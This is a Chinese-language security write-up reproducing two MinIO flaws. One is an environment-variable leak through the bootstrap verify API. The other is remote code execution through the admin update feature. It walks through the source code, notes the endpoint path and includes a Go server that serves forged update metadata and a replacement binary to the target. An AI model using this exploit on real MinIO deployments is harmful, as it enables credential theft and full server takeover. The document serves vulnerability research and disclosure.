minio信息泄露漏洞及RCE复现

admin 2023年4月23日11:59:52评论110 views字数 1755阅读5分51秒阅读模式

1.环境配置

开局一张图,内容全靠编

minio信息泄露漏洞及RCE复现

首先clone下minio项目,然后回滚到月初的commit

git checkout 9800760cb3cd42156161c9345e4543f42ed67d0f

配一下环境参数就可以直接开run了

minio信息泄露漏洞及RCE复现

2.敏感信息泄露

直接搜索关键字

minio信息泄露漏洞及RCE复现

可以看到这个属性是由环境变量设置的,根据推测直接搜索关键字os.Environ

搜索到getLocalServerProperty函数,这个函数,参数中有request,看着好像是能访问的样子

minio信息泄露漏洞及RCE复现

并且下面在遍历了os.Environ,但是如果检测到环境变量名中有password或者key的话,居然会给打码。所以这个函数虽然看着很像我们需要的,但是实际上不是

minio信息泄露漏洞及RCE复现

后续看代码中,发现env.Get出现的很频繁,这是官方自己实现的一个包,同样也可以获取环境变量

minio信息泄露漏洞及RCE复现

并且Lsit方法支持同时获取多个环境变量

minio信息泄露漏洞及RCE复现

搜索这个函数的使用,很快就能找到getServerSystemCfg

返回MINIO开头的环境变量,看着非常符合图里的特征

minio信息泄露漏洞及RCE复现

往上追,能看到registerBootstrapRESTHandlers说明是一个api,我们可以访问的,需要使用POST访问,PATH是minio/bootstrap/v1/verify

minio信息泄露漏洞及RCE复现

但是直接访问是无法访问的,因为在这个函数里面下断点,会发现这个代码块根本没被执行到

跟到上面,会判断globalIsDistErasure是否为真,为真才注册路由

minio信息泄露漏洞及RCE复现

这个参数是,只有在分布式运行的时候才为true

minio信息泄露漏洞及RCE复现

为了方便测试,我们直接把 if globalIsDistErasure改成 if true,然后重启

minio信息泄露漏洞及RCE复现

信息泄露 Get~

2.RCE

在找环境变量搜索os的时候,找到了一个相当有rce潜力的函数

minio信息泄露漏洞及RCE复现

可以重启整个进程,查找调用此方法的地方

在这里监听了的一个chan,如果受到消息是serivceRestart,进程就会重启

minio信息泄露漏洞及RCE复现

继续跟进,一共有五个通道会写入消息

minio信息泄露漏洞及RCE复现

找到一个函数

minio信息泄露漏洞及RCE复现

整体来看会接受updateURL方法然后下载、检验、重启

下载

minio信息泄露漏洞及RCE复现

校验

minio信息泄露漏洞及RCE复现

重启

minio信息泄露漏洞及RCE复现

本来想尝试手动访问这个API的,但是认证过程实在是复杂。上官网看文档,发现一个官方封装好的

https://min.io/docs/minio/linux/reference/minio-mc-admin.html

minio信息泄露漏洞及RCE复现

下载mc客户端 配置alias

minio信息泄露漏洞及RCE复现

尝试直接更新,报了一个错

minio信息泄露漏洞及RCE复现

parseReleaseData返回了err 跟进函数看看

minio信息泄露漏洞及RCE复现

分割字符串校验信息

minio信息泄露漏洞及RCE复现

根据校验函数构造一个更新服务信息

package main
import ( "net/http" "os")
//func main() {// cmd := exec.Command("sh", "-c", "open -a Calculator")// cmd.Run()//}
func main() { http.HandleFunc("/info", Evil) http.HandleFunc("/minio.RELEASE.2023-05-22T03-08-07Z", evil) http.ListenAndServe("0.0.0.0:8000", nil)}
func Evil(w http.ResponseWriter, r *http.Request) { println("info") w.Write([]byte("9ff209a2e3f9b9d61cb26e4c9953e8ce4985f1073120ed7794b0337033174e89 minio.RELEASE.2023-05-22T03-08-07Zn"))}
func evil(w http.ResponseWriter, r *http.Request) { println("evil") b, _ := os.ReadFile("main") w.Write(b)}

注意minio.RELEASE.2023-05-22T03-08-07Z这里的日期要比minio运行的日期要新,这里的sha256

随便写一个,报错会告诉你正确的sha256,后面的就是正确的

minio信息泄露漏洞及RCE复现

然后执行

minio信息泄露漏洞及RCE复现

成功~

minio信息泄露漏洞及RCE复现

但是千万要注意,这个exp会覆盖minio的文件,服务会挂掉的。推编译一个minio最新版然后把自己的代码加入到里面。然后打,这样服务不会挂。


原文始发于微信公众号(漏洞推送):minio信息泄露漏洞及RCE复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月23日11:59:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   minio信息泄露漏洞及RCE复现https://cn-sec.com/archives/1688034.html

发表评论

匿名网友 填写信息